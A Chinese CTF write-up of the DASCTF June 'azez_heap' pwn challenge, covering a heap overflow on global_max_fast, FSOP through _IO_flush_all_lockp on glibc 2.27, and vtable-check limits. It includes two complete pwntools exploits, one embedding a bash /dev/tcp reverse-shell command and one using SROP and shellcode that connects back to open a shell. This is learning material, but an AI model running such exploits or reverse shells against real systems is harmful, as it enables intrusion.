DASCTF6月赛Pwn-azez_heap wp

本次比赛是dasctf6月赛,学到了很多东西,感谢

1.首先着重记录一下azez_heap这个题目,剩下的题目放在另一篇博客
知识点:
  • _IO_flush_all_lockp 触发条件
  • 反向shell的利用
分析:
checksec:


保护全开,毋庸置疑
通过ida分析可以确定程序的唯一漏洞点在edit里面,可以控制下一个堆块的fd和bk
add里面size可以申请到0x2333已经很大了,根据以往的做题经验可以想到要打global_max_fast,而且堆块使用calloc分配,我们知道calloc不会取tcache当中的块,由此更确定了我们的想法
在show里面有这样一个过程

由此我们的想法就明确了:
  • 通过show函数泄露libc,heap地址
  • 通过堆溢出打global_max_fast接着打io_list_all
  • 进行fsop(后面发现会失败)
  • 任意申请堆块触发fsop

首先第一步:

add(0x500) #为了后面泄露地址
add(0)

free(0)
add(0x600) #此时0x500块进入largebin中带有libc和heap地址
show(1)

第二步也很简单,利用UnsortedBinAttrack来完成,到了后面进行fsop的时候发现失败了,我们知道fsop的核心代码是通过触发_IO_fllush_all_lockp来实现的,通过源码对比发现在libc2.27以上的版本中abort函数中已经不再使用fllush函数了,这就意味着我们无法通过触发异常来进行fsop

libc2.23:

libc2.27往上:

而我们知道触发_IO_fllush_all_lockp不止触发异常这一条路径:

  • libc执行abort函数时
  • 程序执行exit函数时
  • 程序从main函数返回时

当然我们知道在libc2.24往上的版本中,加了vtable检测,而过检测有以下几种途径,因为一开始我的想法是过一下检测机制 打_IO_2_1_stdout,在vtable填上一个堆地址,然后过一下vtable检测使其执行vtable地址中的函数
来自raycp大佬的博客:

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的vtable
      return;
  }

...

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

我们进入了这个函数就意味着我们的vtable已经不合法了因此:

  • 使vtable合法即vtable的范围在:__start___libc_IO_vtables~__stop___libc_IO_vtables
  • flag == &_IO_vtable_check
  • _dl_open_hook != NULL(仅限制在libc2.24版本中)

第一种方法不可行因为我们只能往任意地址写一个堆地址
第二种方法不可行,因为flag不可控
第三种方法不可行,因为该题libc为2.27

由此这种方法排除

那我们只能返回来看触发_IO_flush_all_lockp了,我们知道在程序退出的时候会触发,但是在退出时把流都关闭了

这意味着即使我们获得了shell也不能完成交互
这里就涉及到了反向shell的知识了,我一开的思路是进行反向shellcode,本地通过了,远程打不通,后面请教了一下fmyy师傅,发现是我的ip地址没有设置对,非常感谢fmyy师傅的耐心解释,经过fmyy师傅的测试,发现我的想法麻烦了,只要在setcontext的地方填入system,然后在参数位置填入反弹shell的参数就可以完成反弹shell的操作,反弹shell网上的解释已经很详细了,需要注意的是,反弹shell的ip:port尽量填服务器的地址,并在服务器的防火请上开一个端口,并且跑脚本的地方尽量不在虚拟机中进行,可以在wsl或者服务器上跑,因为延迟高的话会丢包导致利用失败
给出脚本:

exp1:
在服务器上:


9999根据自己服务器的端口改变

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'

binary = 'azez_heap'
elf = ELF('azez_heap')
libc = elf.libc
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "183.129.189.60"
  port =  10035
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
	sla("please enter your choice:",str(idx))
def add(size):
	cmd(1)
	sla("Can U tell me the len of note?\n",str(size))
def edit(idx,payload):
	cmd(2)
	sla("Which note U want to fill in?\n",str(idx))
	sa("Hey,Plz input U2 note\n",payload)
def free(idx):
	cmd(3)
	sla("Which note U want to del?\n",str(idx))
def show(idx):
	cmd(4)
	sla("Which note U want to view?\n",str(idx))

add(0x500)
add(0)

free(0)
add(0x600)
show(1)
libc_base = l64()-0x3ec0d0
lg("libc_base",libc_base)
l64()
heap_addr = u64(p.recv(8)[2:].ljust(8,"\x00"))-0x250
lg("heap_addr",heap_addr)
free_hook = libc_base+libc.sym["__free_hook"]
io_list = 0x3ebca0+libc_base
maxf = 0x3ed940+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = libc.search("/bin/sh").next()+libc_base
sys_addr = libc.sym["system"]+libc_base
addr = 0x3ec780+libc_base+0x8
o_g = [0x4f2c5,0x4f322,0x10a38c]
one = o_g[2]+libc_base
#--------------------------------------------------
payload = p64(0)*2
payload += p64(0)+p64(1)
payload += p64(0)+p64(heap_addr+0xef0)
payload = payload.ljust(0xc8,"\x00")
payload += p64(jump-0x8)+p64(0)+p64(sys_addr)
payload += "bash -c 'sh -i &>/dev/tcp/ip/port 0>&1'"#这里的ip和port填入你服务器的地址和端口
payload = payload.ljust(0x1438,"\x00")
payload += p64(0x501)+p64(0)+p64(maxf-0x10)
#---------------------------------------------------
add(0x1438)#2
add(0x4f8)
add(0x4f8)
free(3)

edit(2,payload)
add(0x4f8)
free(2)
# gdb.attach(p)
cmd(5)
p.interactive()

服务器效果:
exp2:这个exp的shellcode参考了blog.eonew.cn/archives/1029,本地测试通过,远程失败

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'

binary = 'azez_heap'
elf = ELF('azez_heap')
libc = ELF("./libc.so.6")
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
  # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
  host = "183.129.189.60"
  port =  10035
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
	sla("please enter your choice:",str(idx))
def add(size):
	cmd(1)
	sla("Can U tell me the len of note?\n",str(size))
def edit(idx,payload):
	cmd(2)
	sla("Which note U want to fill in?\n",str(idx))
	sa("Hey,Plz input U2 note\n",payload)
def free(idx):
	cmd(3)
	sla("Which note U want to del?\n",str(idx))
def show(idx):
	cmd(4)
	sla("Which note U want to view?\n",str(idx))

add(0x500)
add(0)

free(0)
add(0x600)
show(1)
libc_base = l64()-0x3ec0d0
lg("libc_base",libc_base)
l64()
heap_addr = u64(p.recv(8)[2:].ljust(8,"\x00"))-0x250
lg("heap_addr",heap_addr)
free_hook = libc_base+libc.sym["__free_hook"]
io_list = 0x3ebca0+libc_base
maxf = 0x3ed940+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = libc.search("/bin/sh").next()+libc_base
sys_addr = libc.sym["system"]+libc_base
syscall = 0x00000000000d2975+libc_base
pop_rdi = 0x000000000002155f+libc_base
pop_rsi = 0x0000000000023e6a+libc_base
pop_rdx = 0x0000000000001b96+libc_base
pop_rax = 0x00000000000439c8+libc_base
jmp_rsp = 0x0000000000002b1d+libc_base
addr = 0x3ec780+libc_base+0x8
o_g = [0x4f2c5,0x4f322,0x10a38c]
one = o_g[2]+libc_base
gets = libc_base+libc.sym["gets"]
#--------------------------------------------------
# payload = p64(0)*2
# payload += p64(0)+p64(1)
# payload += p64(0)+p64(sh_addr)
# payload = payload.ljust(0xc8,"\x00")
# payload += p64(jump-0x8)+p64(0)+p64(sys_addr)
# payload = payload.ljust(0x1438,"\x00")
# payload += p64(0x501)+p64(0)+p64(maxf-0x10)
#---------------------------------------------------
setcontext = 0x520a5+libc_base
# # free_hook1 = free_hook&0xfffffffffffff000
payload = p64(0)*2
payload += p64(0)+p64(1)
payload += p64(0)+p64(heap_addr+0xef0)
payload = payload.ljust(0xc8,"\x00")
payload += p64(jump-0x8)+p64(0)+p64(setcontext)
frame = SigreturnFrame()
frame.rdi = heap_addr
frame.rsi = 0x2000
frame.rdx = 7
frame.rsp = heap_addr+0xef0+0xd0+0x28
frame.rip = pop_rax
fr = str(frame)
shellcode = asm('''
mov rdi, 2
mov rsi, 1
mov rdx, 0
mov rax, 41 ;// SYS_socket
syscall

mov rdi, rax
mov rax, 0x0100007fd2040002
push rax
mov rsi, rsp
mov rdx, 16
mov rax, 42 ;// SYS_connect
syscall
push rax

mov rdi, rax
mov rsi, 0
mov rax, 33 ;// SYS_dup2
syscall

pop rdi
mov rsi, 1
mov rax, 33 ;// SYS_dup2
syscall

mov rax,0x0068732f6e69622f
push rax
mov rdi,rsp
mov rax,59
mov rsi,0
mov rdx,0
syscall
''')
payload = payload+fr+p64(10)+p64(syscall)+p64(jmp_rsp)+(shellcode)
# print str(payload)
payload = payload.ljust(0x1438,"\x00")
payload += p64(0x501)+p64(0)+p64(maxf-0x10)
# # #--------------------------------------------------
add(0x1438)#2
add(0x4f8)
add(0x4f8)
free(3)
edit(2,payload)
add(0x4f8)
free(2)
# gdb.attach(p,"b _IO_flush_all_lockp\n")
ru("please enter your choice:")
server = listen(1234)
p.sendline("5")
reverse_sh = server.wait_for_connection()

reverse_sh.interactive()

效果:
小结:
感谢fmyy师傅,通过这个题目学到了很多

参考:

反弹shell
反弹shellcode

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值